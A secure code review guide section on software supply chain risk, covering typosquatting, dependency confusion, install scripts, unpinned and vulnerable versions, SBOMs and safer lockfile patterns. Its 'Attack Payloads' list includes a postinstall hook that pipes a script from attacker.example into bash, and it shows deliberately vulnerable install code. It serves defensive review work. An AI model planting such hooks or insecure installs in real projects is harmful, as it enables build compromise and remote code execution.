Skip to content

4.40 Review Software Supply Chain

4.40 - Review Software Supply Chain

Software supply chain risk appears when applications depend on vulnerable, tampered, or unmaintained open source packages. Review dependency manifests, lockfiles, and build pipelines. Confirm the team can inventory components with an SBOM (Software Bill of Materials), monitor CVEs, and respond when a dependency is compromised.

What This Vulnerability Is

Modern applications import most code from open source libraries. A vulnerable version of Log4j, a typosquatted package name, or a compromised maintainer account can affect every service that depends on it. Supply chain attacks target build systems, package registries, and transitive dependencies reviewers rarely read directly.

The unsafe assumption is that npm install, go get, or Maven Central always deliver trustworthy artifacts. Security review should verify dependency sources, pin versions, scan for known CVEs, and maintain an SBOM so incident response starts with facts instead of manual inventory. The OpenSSF ecosystem promotes SBOM standards such as CycloneDX and SPDX for documenting what ships in each release.

Vulnerability Characteristics (Where to Identify Them)

Signal Where to look
Feature type Dependency manifests, Docker base images, CI install steps, private registry config
Unpinned versions latest, broad semver ranges, missing lockfiles in production services
Known CVEs Dependencies with published advisories in OSV, GitHub Advisory, or scanner output
Transitive risk Vulnerabilities one or two levels deep in the dependency graph
Install scripts postinstall hooks and package scripts executing during dependency install
Typosquatting Package names close to but not matching canonical registry entries
Base images Outdated Docker FROM tags without digest pinning or regular rebuilds

Attack Payloads

Use these patterns in authorized dependency review, SBOM diffing, and CI policy tests—not to install unverified packages on production systems.

Pattern 1: Typosquatting package names

reqeusts          # requests
python-dateutil   # python-dateutil vs python-datelutil
@types/node       # scoped typosquats in npm
django-admin      # unrelated to django

Compare package names character-by-character against canonical registry entries.

Pattern 2: Dependency confusion (internal name squatting)

# Public registry publishes same name as internal private package
pip install company-utils  # resolves to public typosquat if index misconfigured
npm install @company/auth-lib  # public scope squatted

Pattern 3: Malicious install scripts

{
  "scripts": {
    "postinstall": "curl https://attacker.example/s.sh | bash"
  }
}

Review postinstall, preinstall, and prepare in package.json and equivalent hooks in other ecosystems.

Pattern 4: Unpinned transitive upgrade

# requirements.txt: django>=3.0
# Lockfile not committed — CI pulls latest transitive deps each build
# New sub-dependency version introduces CVE or compromised maintainer

Pattern 5: Known vulnerable version left in place

log4j-core:2.14.1
node-forge:0.10.0
urllib3:1.26.5  # check against OSV/GitHub Advisory
spring-beans:5.3.18

Language-Specific Sinks and Dangerous APIs

Python

# requirements.txt — no hashes, floating versions
requests>=2.0
django>=3.0
subprocess.run(["pip", "install", "-r", "requirements.txt"])
pip.main(["install", user_supplied_package])
import pkg_resources; pkg_resources.require(user_input)

Also review: pip.conf index URL, Poetry without lockfile commit, setup.py install from git URLs.

Java

<dependency>
  <version>LATEST</version>
  <version>[1.0,)</version>  <!-- open range -->
</dependency>
URLClassLoader.newInstance(urls);  // loads JAR from user path
ScriptEngine with classpath from untrusted plugin dir

Gradle: dynamic versions 1.+, latest.release; missing dependency-lock.

C

<PackageReference Include="Newtonsoft.Json" Version="*" />
<PackageReference Include="Evil.Package" Version="1.0.0" />  <!-- unreviewed -->
Assembly.LoadFrom(userSuppliedPath);
dotnet add package from unverified feed

JavaScript

"dependencies": {
  "lodash": "latest",
  "some-package": "git+https://attacker.example/pkg.git"
}
require(userControlledModule);
child_process.exec('npm install ' + packageName);

Go

// go.mod without go.sum committed
require github.com/example/legacy v0.0.0-20180101000000-deadbeef
go get -u ./...  // unpinned upgrade in CI
plugin.Open(userPath)

Shell / Docker

curl -sSL https://install.example.com/setup.sh | bash
pip install -r requirements.txt  # no hash check
npm install --ignore-scripts=false
FROM python:3.8-slim  # no digest pin
RUN pip install package-from-git

Sample Vulnerable Code in Python

# requirements.txt — no hashes, unpinned versions, vulnerable transitive deps
requests
pyyaml==5.1          # CVE-affected version left in place
django>=3.0            # floating lower bound pulls latest minor on each CI run
# settings.py — installs from arbitrary index without integrity verification
# pip.conf in repo points to untrusted mirror with no hash checking
import subprocess

def bootstrap_deps():
    # Runs install scripts from every package in requirements.txt
    subprocess.run(["pip", "install", "-r", "requirements.txt"], check=True)
# Dockerfile — outdated base, no digest pin
FROM python:3.8-slim
COPY requirements.txt .
RUN pip install -r requirements.txt

Step-by-Step Review Walkthrough

  1. Locate dependency manifests. Read pom.xml, build.gradle, package.json, go.mod, requirements.txt, Gemfile, and Docker base images.
  2. Check lockfiles. Confirm lockfiles are committed and CI installs from them; floating ranges increase surprise upgrades.
  3. Review transitive dependencies. Many CVEs live one or two levels deep; use scanner output, not only direct deps.
  4. Inspect registry configuration. Review .npmrc, .m2, and PyPI index settings for mirror trust and integrity checks.
  5. Follow build pipelines. Verify provenance, signed commits, and that release artifacts match tagged source.
  6. Confirm SBOM generation. Release builds should produce CycloneDX or SPDX documents stored with deployable artifacts.
  7. Ask about incident response. Patch SLA, emergency change process, and communication paths for zero-day advisories.

Risk Impact Analysis

Widespread compromise from one dependency. A single vulnerable library (for example Log4Shell) may affect every service that transitively includes it.

Build pipeline takeover. Compromised install scripts or typosquatted packages execute attacker code during CI or developer installs.

Slow incident response. Without an SBOM, teams spend hours manually inventorying production versions during active advisories.

Transitive blind spots. Direct dependencies may be current while nested libraries remain on vulnerable versions.

Container drift. Unpinned base images pull new OS packages on rebuild, introducing vulnerabilities without application code changes.

Vulnerable Examples in Other Languages

Java

<!-- pom.xml: vulnerable Log4j range without upper bound -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>
# application.properties — floating version pulls latest on each CI run
spring.security.oauth2.client.version=5.7.+

C

<!-- PackageReference with floating version -->
<PackageReference Include="Newtonsoft.Json" Version="*" />

<!-- No lock file; RestorePackagesWithLockFile not enabled -->

Shell

#!/bin/bash
# CI bootstrap: unpinned install scripts, no hash verification
curl -sSL https://install.example.com/setup.sh | bash

pip install -r requirements.txt   # no hashes; django>=3.0 floats on each run
npm install some-random-package@latest

# Dockerfile excerpt — digest not pinned
docker pull python:3.8-slim

Go

// go.mod: retracted or vulnerable module without replace/upgrade
require github.com/example/legacy-crypto v0.0.0-20180101000000-deadbeef

// Indirect dependency left unpatched after parent upgrade
require github.com/gin-gonic/gin v1.9.0 // pulls vulnerable transitive via old lock

Fix: Safer Patterns and Libraries to Use

Python

Pin dependencies with lockfiles and hash verification. Scan in CI.

# requirements.lock (generated by pip-tools) — excerpt
pyyaml==6.0.1 \
    --hash=sha256:abcdef...
requests==2.31.0 \
    --hash=sha256:123456...
django==4.2.11 \
    --hash=sha256:789abc...
# .github/workflows/deps.yml excerpt
- name: Audit Python dependencies
  run: |
    pip install pip-audit
    pip-audit -r requirements.lock

Use pip-tools or Poetry lockfiles. Run pip-audit in pull requests.

Java

Pin versions, ban snapshots in production, and generate SBOMs at package time.

<plugin>
    <groupId>org.cyclonedx</groupId>
    <artifactId>cyclonedx-maven-plugin</artifactId>
    <executions>
        <execution>
            <phase>package</phase>
            <goals><goal>makeAggregateBom</goal></goals>
        </execution>
    </executions>
</plugin>

Run OWASP Dependency-Check or GitHub Dependabot on every build. Use Maven Enforcer to ban snapshot dependencies in release profiles.

C

Use Central Package Management and lock files. Fail CI on critical CVEs.

<PropertyGroup>
    <RestorePackagesWithLockFile>true</RestorePackagesWithLockFile>
</PropertyGroup>
- run: dotnet list package --vulnerable --include-transitive

Generate SBOMs with CycloneDX .NET or Microsoft SBOM Tool.

Go

Commit go.sum and verify in CI. Scan with govulncheck.

- run: go mod verify
- run: govulncheck ./...

Pin base images by digest in Dockerfiles.

FROM golang:1.22-bookworm@sha256:abc123...

See go mod verify and govulncheck.

Verify During Review

  • Dependency versions are pinned or locked; production builds do not pull floating ranges.
  • Automated CVE scanning runs on pull requests and on a schedule for default branches.
  • An SBOM is produced for each release (CycloneDX or SPDX) and stored with deployment artifacts.
  • Transitive dependencies with critical CVEs have documented upgrade or mitigation plans.
  • Build pipelines use trusted registries, verify checksums, and restrict arbitrary install-time script execution where possible.
  • Base container images and OS packages are updated on a defined cadence and scanned like application libraries.
  • The team can answer "what version of library X is in production?" within minutes using the SBOM or dependency graph.

Reference